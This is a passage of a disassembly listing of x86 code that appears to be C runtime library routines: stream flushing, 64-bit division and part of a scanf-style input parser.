		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_408FD6
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_408FDD
		and	eax, 0FFFFFFFDh
		mov	[esi+0Ch], eax
		jmp	short loc_408FDD
; ---------------------------------------------------------------------------

loc_408FD6:				; CODE XREF: sub_408F8A+3Bj
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_408FDD:				; CODE XREF: sub_408F8A+25j
					; sub_408F8A+42j ...
		pop	edi

loc_408FDE:				; CODE XREF: sub_408F8A+13j
					; sub_408F8A+19j
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_408F8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408FEC	proc near		; CODE XREF: sub_40902E+69p
					; sub_40902E+84p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_408FFE
		push	esi
		call	sub_40902E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_408FFE:				; CODE XREF: sub_408FEC+7j
		push	esi
		call	sub_408F8A
		test	eax, eax
		pop	ecx
		jz	short loc_40900E
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40900E:				; CODE XREF: sub_408FEC+1Bj
		test	word ptr [esi+0Ch], 4000h
		jz	short loc_40902A
		push	esi
		call	sub_408DD0
		push	eax
		call	sub_40F3FF
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40902A:				; CODE XREF: sub_408FEC+28j
		xor	eax, eax
		pop	esi
		retn
sub_408FEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40902E	proc near		; CODE XREF: sub_408FEC+Ap
					; sub_409108+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004090E1 SIZE 0000001E BYTES

		push	14h
		push	offset dword_4218A8
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_24], edi
		push	1
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi

loc_40904F:				; CODE XREF: sub_40902E+9Bj
		mov	[ebp+var_20], esi
		cmp	esi, dword_436820
		jge	loc_4090E1
		mov	eax, dword_435800
		lea	eax, [eax+esi*4]
		cmp	[eax], edi
		jz	short loc_4090C8
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4090C8
		push	eax
		push	esi
		call	sub_40853A
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_435800
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4090C0
		cmp	[ebp+arg_0], edx
		jnz	short loc_4090A7
		push	eax
		call	sub_408FEC
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4090C0
		inc	[ebp+var_1C]
		jmp	short loc_4090C0
; ---------------------------------------------------------------------------

loc_4090A7:				; CODE XREF: sub_40902E+66j
		cmp	[ebp+arg_0], edi
		jnz	short loc_4090C0
		test	cl, 2
		jz	short loc_4090C0
		push	eax
		call	sub_408FEC
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4090C0
		or	[ebp+var_24], eax

loc_4090C0:				; CODE XREF: sub_40902E+61j
					; sub_40902E+72j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_4090D0

loc_4090C8:				; CODE XREF: sub_40902E+3Aj
					; sub_40902E+42j
		inc	esi
		jmp	short loc_40904F
sub_40902E	endp

; ---------------------------------------------------------------------------
		xor	edi, edi
		mov	esi, [ebp-20h]

; =============== S U B	R O U T	I N E =======================================



sub_4090D0	proc near		; CODE XREF: sub_40902E+95p
		mov	eax, dword_435800
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_40858C
		pop	ecx
		pop	ecx
		retn
sub_4090D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40902E

loc_4090E1:				; CODE XREF: sub_40902E+2Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4090FF
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_4090F9
		mov	eax, [ebp+var_24]

loc_4090F9:				; CODE XREF: sub_40902E+C6j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40902E

; =============== S U B	R O U T	I N E =======================================



sub_4090FF	proc near		; CODE XREF: sub_40902E+BAp
					; DATA XREF: c.7ld2ih:004218C0o
		push	1
		call	sub_405CCF
		pop	ecx
		retn
sub_4090FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_409108	proc near		; CODE XREF: sub_4084EBp
		push	1
		call	sub_40902E
		pop	ecx
		retn
sub_409108	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409120	proc near		; CODE XREF: sub_403900+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_409142
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_409183
; ---------------------------------------------------------------------------

loc_409142:				; CODE XREF: sub_409120+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_409150:				; CODE XREF: sub_409120+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_409150
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40917E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_40917E
		jb	short loc_40917F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_40917F

loc_40917E:				; CODE XREF: sub_409120+4Ej
					; sub_409120+54j
		dec	esi

loc_40917F:				; CODE XREF: sub_409120+56j
					; sub_409120+5Cj
		xor	edx, edx
		mov	eax, esi

loc_409183:				; CODE XREF: sub_409120+20j
		pop	esi
		pop	ebx
		retn	10h
sub_409120	endp


; =============== S U B	R O U T	I N E =======================================



sub_409188	proc near		; CODE XREF: sub_409217+3CDp
					; sub_409217+447p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esi]
		cmp	[esp+arg_0], eax
		jnz	short loc_4091D8
		mov	ecx, [edi]
		cmp	ecx, [esp+arg_4]
		push	2
		push	eax
		jnz	short loc_4091C7
		call	sub_407B2A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4091AB

loc_4091A8:				; CODE XREF: sub_409188+4Aj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4091AB:				; CODE XREF: sub_409188+1Ej
		mov	eax, [esp+arg_8]
		mov	dword ptr [eax], 1
		push	dword ptr [esi]
		push	[esp+4+arg_4]
		push	dword ptr [edi]
		call	sub_407FA0
		add	esp, 0Ch
		jmp	short loc_4091D6
; ---------------------------------------------------------------------------

loc_4091C7:				; CODE XREF: sub_409188+11j
		push	ecx
		call	sub_407BBD
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4091A8
		mov	[edi], eax

loc_4091D6:				; CODE XREF: sub_409188+3Dj
		shl	dword ptr [esi], 1

loc_4091D8:				; CODE XREF: sub_409188+6j
		xor	eax, eax
		inc	eax
		retn
sub_409188	endp


; =============== S U B	R O U T	I N E =======================================



sub_4091DC	proc near		; CODE XREF: sub_4091F2+7p
					; sub_409217+2E1p ...
		dec	dword ptr [edx+4]
		js	short loc_4091EA
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_4091EA:				; CODE XREF: sub_4091DC+3j
		push	edx
		call	sub_40A03D
		pop	ecx
		retn
sub_4091DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4091F2	proc near		; CODE XREF: sub_409217+14Fp
					; sub_409217+2D3p

arg_0		= dword	ptr  4

		push	ebx

loc_4091F3:				; CODE XREF: sub_4091F2+1Fj
		mov	edx, [esp+4+arg_0]
		inc	dword ptr [esi]
		call	sub_4091DC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409213
		movzx	eax, bl
		push	eax
		call	sub_40F626
		test	eax, eax
		pop	ecx
		jnz	short loc_4091F3

loc_409213:				; CODE XREF: sub_4091F2+11j
		mov	eax, ebx
		pop	ebx
		retn
sub_4091F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=18Ch


sub_409217	proc near		; DATA XREF: sub_4039A4+10o

var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= byte ptr -1DCh
var_1DB		= byte ptr -1DBh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C9		= byte ptr -1C9h
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A3		= byte ptr -1A3h
var_1A2		= byte ptr -1A2h
var_1A1		= byte ptr -1A1h
var_1A0		= dword	ptr -1A0h
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_198		= dword	ptr -198h
var_191		= byte ptr -191h
var_190		= dword	ptr -190h
var_189		= byte ptr -189h
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_24		= byte ptr -24h
var_19		= byte ptr -19h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-18Ch]
		sub	esp, 1FCh
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+18Ch+var_4], eax
		mov	eax, [ebp+18Ch+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+18Ch+arg_0]
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+18Ch+arg_4]
		cmp	edi, ebx
		mov	[ebp+18Ch+var_1E4], eax
		lea	eax, [ebp+18Ch+var_184]
		mov	[ebp+18Ch+var_1A0], esi
		mov	[ebp+18Ch+var_1B4], edi
		mov	[ebp+18Ch+var_1B0], eax
		mov	[ebp+18Ch+var_1D8], 15Eh
		mov	[ebp+18Ch+var_1D0], ebx
		mov	[ebp+18Ch+var_1E8], ebx
		mov	[ebp+18Ch+var_190], ebx
		jnz	short loc_40928C

loc_40926C:				; CODE XREF: sub_409217+77j
					; sub_409217+C6j ...
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_409E4C
; ---------------------------------------------------------------------------

loc_40928C:				; CODE XREF: sub_409217+53j
		cmp	esi, ebx
		jz	short loc_40926C
		test	byte ptr [esi+0Ch], 40h
		jnz	loc_40932B
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4092D4
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_4092D4
		push	esi
		call	sub_408DD0
		sar	eax, 5
		push	esi
		lea	edi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_4092D9
; ---------------------------------------------------------------------------

loc_4092D4:				; CODE XREF: sub_409217+8Dj
					; sub_409217+99j
		mov	eax, offset dword_423BD0

loc_4092D9:				; CODE XREF: sub_409217+BBj
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_40926C
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_409319
		push	esi
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_409319
		push	esi
		call	sub_408DD0
		sar	eax, 5
		push	esi
		lea	edi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_40931E
; ---------------------------------------------------------------------------

loc_409319:				; CODE XREF: sub_409217+D2j
					; sub_409217+DEj
		mov	eax, offset dword_423BD0

loc_40931E:				; CODE XREF: sub_409217+100j
		test	byte ptr [eax+24h], 80h
		jnz	loc_40926C
		mov	edi, [ebp+18Ch+var_1B4]

loc_40932B:				; CODE XREF: sub_409217+7Dj
		push	[ebp+18Ch+arg_8]
		lea	ecx, [ebp+18Ch+var_1F8]
		call	sub_402ADF
		mov	al, [edi]
		test	al, al
		mov	[ebp+18Ch+var_1A1], bl
		mov	[ebp+18Ch+var_188], ebx
		mov	[ebp+18Ch+var_1C8], ebx
		jz	loc_409E3C
		mov	edi, [ebp+18Ch+var_1B4]

loc_40934F:				; CODE XREF: sub_409217+BC2j
		movzx	eax, al
		push	eax
		call	sub_40F626
		test	eax, eax
		pop	ecx
		jz	short loc_409390
		push	[ebp+18Ch+var_1A0]
		dec	[ebp+18Ch+var_188]
		lea	esi, [ebp+18Ch+var_188]
		call	sub_4091F2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40937C
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_40937C:				; CODE XREF: sub_409217+158j
					; sub_409217+172j
		inc	edi
		movzx	eax, byte ptr [edi]
		push	eax
		call	sub_40F626
		test	eax, eax
		pop	ecx
		jnz	short loc_40937C
		jmp	loc_409DD5
; ---------------------------------------------------------------------------

loc_409390:				; CODE XREF: sub_409217+144j
		cmp	byte ptr [edi],	25h
		jnz	loc_409D7D
		xor	eax, eax
		mov	[ebp+18Ch+var_1E0], eax
		mov	[ebp+18Ch+var_1C9], al
		mov	[ebp+18Ch+var_1A8], eax
		mov	[ebp+18Ch+var_1B8], eax
		mov	[ebp+18Ch+var_198], eax
		mov	[ebp+18Ch+var_1A4], al
		mov	[ebp+18Ch+var_1A3], al
		mov	[ebp+18Ch+var_199], al
		mov	[ebp+18Ch+var_189], al
		mov	[ebp+18Ch+var_1A2], al
		mov	[ebp+18Ch+var_191], al
		mov	[ebp+18Ch+var_19A], 1
		mov	[ebp+18Ch+var_1D4], eax
		xor	esi, esi

loc_4093C5:				; CODE XREF: sub_409217+279j
		inc	edi
		movzx	ebx, byte ptr [edi]
		movzx	eax, bl
		push	eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		jz	short loc_4093EC
		mov	eax, [ebp+18Ch+var_198]
		inc	[ebp+18Ch+var_1B8]
		imul	eax, 0Ah
		lea	eax, [eax+ebx-30h]
		mov	[ebp+18Ch+var_198], eax
		jmp	loc_40948C
; ---------------------------------------------------------------------------

loc_4093EC:				; CODE XREF: sub_409217+1BEj
		cmp	ebx, 4Eh
		jg	short loc_409462
		jz	loc_40948C
		cmp	ebx, 2Ah
		jz	short loc_40945D
		cmp	ebx, 46h
		jz	loc_40948C
		cmp	ebx, 49h
		jz	short loc_409414
		cmp	ebx, 4Ch
		jnz	short loc_409471
		inc	[ebp+18Ch+var_19A]
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_409414:				; CODE XREF: sub_409217+1F1j
		mov	cl, [edi+1]
		cmp	cl, 36h
		jnz	short loc_409431
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_409431

loc_409424:				; CODE XREF: sub_409217+265j
		inc	[ebp+18Ch+var_1D4]
		mov	edi, eax
		mov	[ebp+18Ch+var_1C0], esi
		mov	[ebp+18Ch+var_1BC], esi
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_409431:				; CODE XREF: sub_409217+203j
					; sub_409217+20Bj
		cmp	cl, 33h
		jnz	short loc_409442
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_409442
		mov	edi, eax
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_409442:				; CODE XREF: sub_409217+21Dj
					; sub_409217+225j
		cmp	cl, 64h
		jz	short loc_40948C
		cmp	cl, 69h
		jz	short loc_40948C
		cmp	cl, 6Fh
		jz	short loc_40948C
		cmp	cl, 78h
		jz	short loc_40948C
		cmp	cl, 58h
		jnz	short loc_409471
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_40945D:				; CODE XREF: sub_409217+1E3j
		inc	[ebp+18Ch+var_199]
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_409462:				; CODE XREF: sub_409217+1D8j
		cmp	ebx, 68h
		jz	short loc_409486
		cmp	ebx, 6Ch
		jz	short loc_409476
		cmp	ebx, 77h
		jz	short loc_409481

loc_409471:				; CODE XREF: sub_409217+1F6j
					; sub_409217+242j
		inc	[ebp+18Ch+var_189]
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_409476:				; CODE XREF: sub_409217+253j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	6Ch
		jz	short loc_409424
		inc	[ebp+18Ch+var_19A]

loc_409481:				; CODE XREF: sub_409217+258j
		inc	[ebp+18Ch+var_191]
		jmp	short loc_40948C
; ---------------------------------------------------------------------------

loc_409486:				; CODE XREF: sub_409217+24Ej
		dec	[ebp+18Ch+var_19A]
		dec	[ebp+18Ch+var_191]

loc_40948C:				; CODE XREF: sub_409217+1D0j
					; sub_409217+1DAj ...
		cmp	[ebp+18Ch+var_189], 0
		jz	loc_4093C5
		cmp	[ebp+18Ch+var_199], 0
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_4094AD
		mov	eax, [ebp+18Ch+var_1E4]
		mov	esi, [eax]
		mov	[ebp+18Ch+var_1FC], eax
		add	eax, 4
		mov	[ebp+18Ch+var_1E4], eax

loc_4094AD:				; CODE XREF: sub_409217+286j
		cmp	[ebp+18Ch+var_191], 0
		mov	[ebp+18Ch+var_1C4], esi
		mov	[ebp+18Ch+var_189], 0
		jnz	short loc_4094CC
		mov	al, [edi]
		cmp	al, 53h
		jz	short loc_4094C8
		cmp	al, 43h
		mov	[ebp+18Ch+var_191], 0FFh
		jnz	short loc_4094CC

loc_4094C8:				; CODE XREF: sub_409217+2A7j
		mov	[ebp+18Ch+var_191], 1

loc_4094CC:				; CODE XREF: sub_409217+2A1j
					; sub_409217+2AFj
		movzx	ebx, byte ptr [edi]
		or	ebx, 20h
		cmp	ebx, 6Eh
		mov	[ebp+18Ch+var_1AC], ebx
		jz	short loc_40950F
		cmp	ebx, 63h
		jz	short loc_4094F2
		cmp	ebx, 7Bh
		jz	short loc_4094F2
		push	[ebp+18Ch+var_1A0]
		lea	esi, [ebp+18Ch+var_188]
		call	sub_4091F2
		pop	ecx
		jmp	short loc_4094FD
; ---------------------------------------------------------------------------

loc_4094F2:				; CODE XREF: sub_409217+2C6j
					; sub_409217+2CBj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC

loc_4094FD:				; CODE XREF: sub_409217+2D9j
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+18Ch+var_190], eax
		jz	loc_409E09
		mov	esi, [ebp+18Ch+var_1C4]
		mov	edi, [ebp+18Ch+var_1B4]

loc_40950F:				; CODE XREF: sub_409217+2C1j
		mov	ecx, [ebp+18Ch+var_1B8]
		test	ecx, ecx
		jz	short loc_409520
		cmp	[ebp+18Ch+var_198], 0
		jz	loc_409DE1

loc_409520:				; CODE XREF: sub_409217+2FDj
		cmp	ebx, 6Fh
		jg	loc_40992C
		jz	loc_409B57
		cmp	ebx, 63h
		jz	loc_40981E
		push	64h
		pop	eax
		cmp	ebx, eax
		jz	loc_409B57
		jle	loc_409956
		cmp	ebx, 67h
		jle	short loc_409586
		cmp	ebx, 69h
		jz	short loc_40956E
		cmp	ebx, 6Eh
		jnz	loc_409956
		cmp	[ebp+18Ch+var_199], 0
		mov	edi, [ebp+18Ch+var_188]
		jz	loc_409D51
		jmp	loc_409D71
; ---------------------------------------------------------------------------

loc_40956E:				; CODE XREF: sub_409217+33Aj
		mov	[ebp+18Ch+var_1AC], eax

loc_409571:				; CODE XREF: sub_409217+734j
		mov	ebx, [ebp+18Ch+var_190]
		cmp	ebx, 2Dh
		jnz	loc_409A3F
		mov	[ebp+18Ch+var_1A3], 1
		jmp	loc_409A44
; ---------------------------------------------------------------------------

loc_409586:				; CODE XREF: sub_409217+335j
		xor	ebx, ebx
		cmp	[ebp+18Ch+var_190], 2Dh
		jnz	short loc_409597
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [eax],	2Dh
		inc	ebx
		jmp	short loc_40959D
; ---------------------------------------------------------------------------

loc_409597:				; CODE XREF: sub_409217+375j
		cmp	[ebp+18Ch+var_190], 2Bh
		jnz	short loc_4095AE

loc_40959D:				; CODE XREF: sub_409217+37Ej
		dec	[ebp+18Ch+var_198]
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	[ebp+18Ch+var_190], eax

loc_4095AE:				; CODE XREF: sub_409217+384j
		cmp	[ebp+18Ch+var_1B8], 0
		jnz	short loc_4095B8
		or	[ebp+18Ch+var_198], 0FFFFFFFFh

loc_4095B8:				; CODE XREF: sub_409217+39Bj
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_409605
; ---------------------------------------------------------------------------

loc_4095BE:				; CODE XREF: sub_409217+3F7j
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_409610
		mov	al, byte ptr [ebp+18Ch+var_190]
		mov	ecx, [ebp+18Ch+var_1B0]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+ecx], al
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_409188
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409E09
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_409605:				; CODE XREF: sub_409217+3A5j
		push	eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		jnz	short loc_4095BE

loc_409610:				; CODE XREF: sub_409217+3AFj
		mov	eax, [ebp+18Ch+var_1F8]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		cmp	al, byte ptr [ebp+18Ch+var_190]
		mov	[ebp+18Ch+var_1A4], al
		jnz	loc_4096C6
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_4096C6
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	ecx, [ebp+18Ch+var_1B0]
		mov	[ebp+18Ch+var_190], eax
		mov	al, [ebp+18Ch+var_1A4]
		mov	[ebx+ecx], al
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_409188
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409E09
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_4096BB
; ---------------------------------------------------------------------------

loc_409674:				; CODE XREF: sub_409217+4ADj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_4096C6
		mov	eax, [ebp+18Ch+var_1B0]
		mov	cl, byte ptr [ebp+18Ch+var_190]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+eax], cl
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_409188
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409E09
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_4096BB:				; CODE XREF: sub_409217+45Bj
		push	eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		jnz	short loc_409674

loc_4096C6:				; CODE XREF: sub_409217+40Cj
					; sub_409217+41Aj ...
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_4097C6
		cmp	[ebp+18Ch+var_190], 65h
		jz	short loc_4096E0
		cmp	[ebp+18Ch+var_190], 45h
		jnz	loc_4097C6

loc_4096E0:				; CODE XREF: sub_409217+4BDj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_4097C6
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [ebx+eax], 65h
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_409188
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409E09
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		cmp	eax, 2Dh
		mov	[ebp+18Ch+var_190], eax
		jnz	short loc_40974B
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [ebx+eax], 2Dh
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		call	sub_409188
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409E09
		jmp	short loc_409751
; ---------------------------------------------------------------------------

loc_40974B:				; CODE XREF: sub_409217+50Fj
		cmp	[ebp+18Ch+var_190], 2Bh
		jnz	short loc_40976E

loc_409751:				; CODE XREF: sub_409217+532j
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jnz	short loc_409760
		and	[ebp+18Ch+var_198], eax
		jmp	short loc_40976E
; ---------------------------------------------------------------------------

loc_409760:				; CODE XREF: sub_409217+542j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	[ebp+18Ch+var_190], eax

loc_40976E:				; CODE XREF: sub_409217+538j
					; sub_409217+547j
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_4097BB
; ---------------------------------------------------------------------------

loc_409774:				; CODE XREF: sub_409217+5ADj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_4097C6
		mov	eax, [ebp+18Ch+var_1B0]
		mov	cl, byte ptr [ebp+18Ch+var_190]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+eax], cl
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_409188
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409E09
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4091DC
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_4097BB:				; CODE XREF: sub_409217+55Bj
		push	eax
		call	sub_40F52F
		test	eax, eax
		pop	ecx
		jnz	short loc_409774

loc_4097C6:				; CODE XREF: sub_409217+4B3j
					; sub_409217+4C3j ...
		dec	[ebp+18Ch+var_188]
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jz	short loc_4097DC
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_40F64F
		pop	ecx
		pop	ecx

loc_4097DC:				; CODE XREF: sub_409217+5B6j
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_409E09
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_409D71
		mov	eax, [ebp+18Ch+var_1B0]
		inc	[ebp+18Ch+var_1C8]
		lea	ecx, [ebp+18Ch+var_1F8]
		push	ecx
		push	eax
		push	[ebp+18Ch+var_1C4]
		mov	byte ptr [ebx+eax], 0
